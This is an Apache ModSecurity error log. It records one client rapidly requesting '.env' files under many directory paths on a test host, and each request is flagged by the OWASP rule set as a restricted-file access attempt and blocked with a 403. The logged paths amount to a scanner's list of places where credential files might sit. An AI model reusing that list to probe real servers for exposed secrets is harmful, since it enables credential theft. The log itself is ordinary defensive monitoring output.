[Wed Feb 25 06:04:54.168815 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ6C9in6hL63qXWzsp19cwAAAAE&quot;]
[Wed Feb 25 06:04:54.193349 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch2-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch2-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZuAAAAAY&quot;]
[Wed Feb 25 06:04:54.193652 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch2-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZuAAAAAY&quot;]
[Wed Feb 25 06:04:54.193832 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch2-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZuAAAAAY&quot;]
[Wed Feb 25 06:04:54.264647 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch6-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZuQAAAAY&quot;]
[Wed Feb 25 06:04:54.264947 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZuQAAAAY&quot;]
[Wed Feb 25 06:04:54.265144 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZuQAAAAY&quot;]
[Wed Feb 25 06:04:54.299089 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch6a-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6a-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZugAAAAY&quot;]
[Wed Feb 25 06:04:54.299378 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6a-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZugAAAAY&quot;]
[Wed Feb 25 06:04:54.299576 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6a-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZugAAAAY&quot;]
[Wed Feb 25 06:04:54.400342 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch7-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZuwAAAAY&quot;]
[Wed Feb 25 06:04:54.400642 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZuwAAAAY&quot;]
[Wed Feb 25 06:04:54.400878 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZuwAAAAY&quot;]
[Wed Feb 25 06:04:54.435404 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch7a-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7a-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZvAAAAAY&quot;]
[Wed Feb 25 06:04:54.435657 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7a-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZvAAAAAY&quot;]
[Wed Feb 25 06:04:54.435831 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7a-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZvAAAAAY&quot;]
[Wed Feb 25 06:04:54.465526 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch8-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZvQAAAAY&quot;]
[Wed Feb 25 06:04:54.465811 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZvQAAAAY&quot;]
[Wed Feb 25 06:04:54.466007 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZvQAAAAY&quot;]
[Wed Feb 25 06:04:54.487420 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch8a-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8a-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZvgAAAAY&quot;]
[Wed Feb 25 06:04:54.487680 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8a-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZvgAAAAY&quot;]
[Wed Feb 25 06:04:54.487843 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8a-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZvgAAAAY&quot;]
[Wed Feb 25 06:04:54.524618 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch8b-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8b-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZvwAAAAY&quot;]
[Wed Feb 25 06:04:54.524888 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8b-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZvwAAAAY&quot;]
[Wed Feb 25 06:04:54.525050 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8b-mytodo/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZvwAAAAY&quot;]
[Wed Feb 25 06:04:54.590292 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /chai/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Chai/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZwAAAAAY&quot;]
[Wed Feb 25 06:04:54.590620 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Chai/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZwAAAAAY&quot;]
[Wed Feb 25 06:04:54.590814 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Chai/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZwAAAAAY&quot;]
[Wed Feb 25 06:04:54.612382 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /challenge/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenge/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZwQAAAAY&quot;]
[Wed Feb 25 06:04:54.612676 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenge/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZwQAAAAY&quot;]
[Wed Feb 25 06:04:54.612858 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenge/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZwQAAAAY&quot;]
[Wed Feb 25 06:04:54.651606 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /challenges/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenges/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZwgAAAAY&quot;]
[Wed Feb 25 06:04:54.651902 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenges/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZwgAAAAY&quot;]
